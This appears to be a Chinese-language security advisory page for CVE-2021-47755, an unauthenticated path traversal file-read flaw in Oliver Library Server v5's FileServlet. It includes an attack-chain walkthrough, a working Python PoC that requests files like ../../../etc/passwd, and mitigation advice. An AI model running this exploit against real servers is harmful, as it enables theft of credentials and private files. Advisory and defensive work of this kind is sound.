IPBUF安全漏洞报告
English
CVE-2021-47755 CVSS 7.5 高危

CVE-2021-47755 Oliver Library Server 任意文件读取漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2021-47755
漏洞类型
任意文件读取
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Oliver Library Server v5

相关标签

任意文件读取路径遍历文件下载漏洞Oliver Library ServerCVE-2021-47755高危漏洞无需认证信息泄露

漏洞概述

CVE-2021-47755是Oliver Library Server v5中的一个高危安全漏洞,CVSS评分达到7.5分。该漏洞属于任意文件读取(Arbitrary File Read)漏洞,存在于FileServlet端点中。由于程序对用户输入的fileName参数缺乏有效的安全校验和过滤,攻击者可以利用路径遍历技术(如../)来突破应用程序的目录限制,访问服务器文件系统中的任意文件。攻击者无需任何认证凭证即可发起攻击,这使得该漏洞具有极高的危害性。成功利用此漏洞,攻击者可以读取服务器上的敏感配置文件、用户数据、密钥文件等机密信息,可能导致严重的数据泄露和进一步的安全威胁。

技术细节

漏洞根源在于Oliver Library Server v5的FileServlet组件对fileName请求参数处理不当。当用户请求下载文件时,服务器端直接使用用户提供的fileName参数构造文件路径,而未进行安全验证。攻击者可以通过构造特殊的fileName参数值,例如使用路径遍历字符串(如../../etc/passwd或..\..\windows\win.ini),使服务器返回目标系统上的任意文件内容。该漏洞属于经典的路径遍历(Path Traversal)漏洞类型。攻击者通常会针对以下敏感文件进行攻击:系统配置文件(/etc/passwd、/etc/shadow)、应用程序配置文件、数据库连接文件、SSH密钥、API密钥等。由于该漏洞不需要任何认证,攻击者可以直接通过HTTP请求进行利用,且攻击复杂度较低。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标网站使用的Oliver Library Server v5,并定位FileServlet端点URL
STEP 2
步骤2
构造Payload:攻击者构造包含路径遍历序列(如../../或..\..\)的特殊fileName参数
STEP 3
步骤3
发送恶意请求:向FileServlet端点发送HTTP GET请求,附带构造的fileName参数,无需任何认证
STEP 4
步骤4
文件读取:服务器解析路径遍历请求,绕过安全限制,定位并读取目标系统文件
STEP 5
步骤5
数据窃取:服务器将文件内容作为响应返回,攻击者获取敏感信息如配置文件、密钥、用户数据等
STEP 6
步骤6
横向移动:利用获取的敏感信息进行进一步攻击,如访问数据库、提权或入侵其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2021-47755 PoC - Oliver Library Server Arbitrary File Read # Target: Oliver Library Server v5 FileServlet endpoint # Vulnerability: Path traversal in fileName parameter def exploit_cve_2021_47755(target_url, filename): """ Exploit for CVE-2021-47755: Oliver Library Server v5 Arbitrary File Read Args: target_url: Base URL of the vulnerable server filename: File to read (can use path traversal like ../../../etc/passwd) Returns: Content of the requested file """ # Construct the FileServlet endpoint endpoint = f"{target_url.rstrip('/')}/FileServlet" # Prepare the malicious request params = { 'fileName': filename # Path traversal payload } try: # Send GET request without authentication response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print(f"[+] Successfully read file: {filename}") print(f"[+] File content length: {len(response.content)} bytes") return response.content else: print(f"[-] Failed to read file. Status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2021_47755.py <target_url> ") print("Example: python cve_2021_47755.py http://target.com:8080 ../../../etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] content = exploit_cve_2021_47755(target, file_to_read) if content: print("\n=== File Content ===") print(content.decode('utf-8', errors='ignore'))

影响范围

Oliver Library Server v5

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 通过网络层访问控制,限制对FileServlet端点的访问来源;2) 部署Web应用防火墙规则,拦截包含路径遍历特征的请求;3) 对服务器文件系统权限进行最小化配置,确保Web应用进程无法访问敏感目录;4) 启用详细的访问日志和告警机制,及时发现异常文件访问行为。建议尽快应用官方发布的安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表